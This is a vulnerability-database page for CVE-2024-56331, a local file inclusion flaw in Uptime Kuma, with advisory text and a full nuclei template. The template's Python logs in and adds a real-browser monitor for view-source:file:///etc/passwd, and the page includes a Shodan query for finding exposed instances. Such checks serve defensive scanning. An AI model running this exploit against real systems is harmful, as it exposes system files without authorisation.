HexBrain

Browse / CVEs / CVE-2024-56331

CVE-2024-56331· uptime-kuma / uptime-kuma· CWE-22

Uptime-Kuma - Local File Inclusion (LFI)

criticalseverity
6.8CVSS score
1.8%likelihood of exploitation, next 30 days
79%of all CVEs are less likely
Readycheck to confirm it

Uptime Kuma has an Improper URL Handling vulnerability that can be exploited through the "real-browser" feature. By providing a URL using the file:/// protocol (e.g., file:///etc/passwd), an attacker can obtain a screenshot of local sensitive files, because the user input is not validated by the server.

Impact

An authenticated user can exploit this vulnerability to access arbitrary local files by leveraging the "real-browser" feature, leading to potential information disclosure of sensitive system files.

Fix

This vulnerability is fixed in version 1.23.16. Users are advised to upgrade to the latest version.

How to confirm it

Positive when: contains "/etc/passwd: {'ok': True, 'msg': 'successAdded'"

Run it with nuclei: nuclei -id CVE-2024-56331 -u <target>

The full check
id: CVE-2024-56331

info:
  name: Uptime-Kuma - Local File Inclusion (LFI)
  author: hyni03
  severity: critical
  description: |
    Uptime Kuma has an Improper URL Handling vulnerability that can be exploited through the "real-browser" feature.
    By providing a URL using the file:/// protocol (e.g., file:///etc/passwd), an attacker can obtain a screenshot
    of local sensitive files, because the user input is not validated by the server.
  impact: |
    An authenticated user can exploit this vulnerability to access arbitrary local files by leveraging
    the "real-browser" feature, leading to potential information disclosure of sensitive system files.
  remediation: |
    This vulnerability is fixed in version 1.23.16. Users are advised to upgrade to the latest version.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-56331
    - https://github.com/griisemine/CVE-2024-56331
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 6.8
    cve-id: CVE-2024-56331
    cwe-id: CWE-22
    epss-score: 0.01845
    epss-percentile: 0.79222
  metadata:
    verified: true
    shodan-query: http.title:"Uptime Kuma"
    product: uptime-kuma
    vendor: uptime-kuma
  tags: cve,cve2024,lfi,uptime-kuma,file-disclosure,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"
  HOST: "{{Hostname}}"

code:
  - engine:
      - py
      - python3  # Requires python installation on the system
    source: |
        import os
        import time

        try:
          import socketio
        except ImportError:
          raise ImportError("The 'socketio' library is not installed. Please install it using 'pip install python-socketio'.")

        # Load environment variables
        USER = os.getenv('username')
        PASS = os.getenv('password')
        HOST = os.getenv('HOST')
        PORT = os.getenv('PORT')

        # Configuration settings
        CONFIG = {
            "server_url": f"ws://{HOST}",
            "credentials": {"username": USER, "password": PASS},
            "request_types": {"real_browser": "real-browser", "http": "http"},
            "url_prefix": {"view_source": "view-source:file://", "file": "file://"}
        }

        TARGET_FILES = ["/etc/passwd"]

        client = socketio.Client()

        def connect_to_server(url, retries=3, delay=2):
            for attempt in range(retries):
                try:
                    client.connect(url, wait_timeout=10)
                    print(f"[+] Connected to: {url}")
                    return True
                except Exception as e:
                    print(f"[!] Connection attempt {attempt + 1}/{retries} failed: {e}")
                    time.sleep(delay)
            return False

        try:
            if not connect_to_server(CONFIG["server_url"]):
                print("[!] Unable to connect to the server. Exiting.")
                exit(1)

            # Attempt login
            login_resp = client.call("login", {
                "username": CONFIG["credentials"]["username"],
                "password": CONFIG["credentials"]["password"]
            }, timeout=10)

            if login_resp and login_resp.get("ok"):
                print("[+] Login successful")
                # Process each sensitive file request
                for file_path in TARGET_FILES:
                    req_type = CONFIG["request_types"]["real_browser"]
                    # Use view-source prefix in real-browser mode
                    url_prefix = CONFIG["url_prefix"]["view_source"] if req_type == CONFIG["request_types"]["real_browser"] else CONFIG["url_prefix"]["file"]
                    target_url = f"{url_prefix}{file_path}"

                    print(f"[~] Sending {req_type} request for: {target_url}")

                    add_payload = {
                        "type": req_type,
                        "name": f"{req_type} request for {file_path}",
                        "url": target_url,
                        "method": "GET",
                        "maxretries": 0,
                        "timeout": 500,
                        "ignoreTls": True,
                        "accepted_statuscodes": ["200-299"],
                        "conditions": "[]"
                    }
                    response = client.call("add", add_payload, timeout=15)
                    print(f"[+] Response for {file_path}: {response}")
            else:
                print("[!] Login failed. Please check credentials.")
        except Exception as err:
            print(f"[!] An error occurred during execution: {err}")
        finally:
            client.disconnect()
            print("[*] Disconnected from the server")

    matchers:
      - type: word
        words:
          - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"

References

Use this check only on systems you are authorised to test. Where the data comes from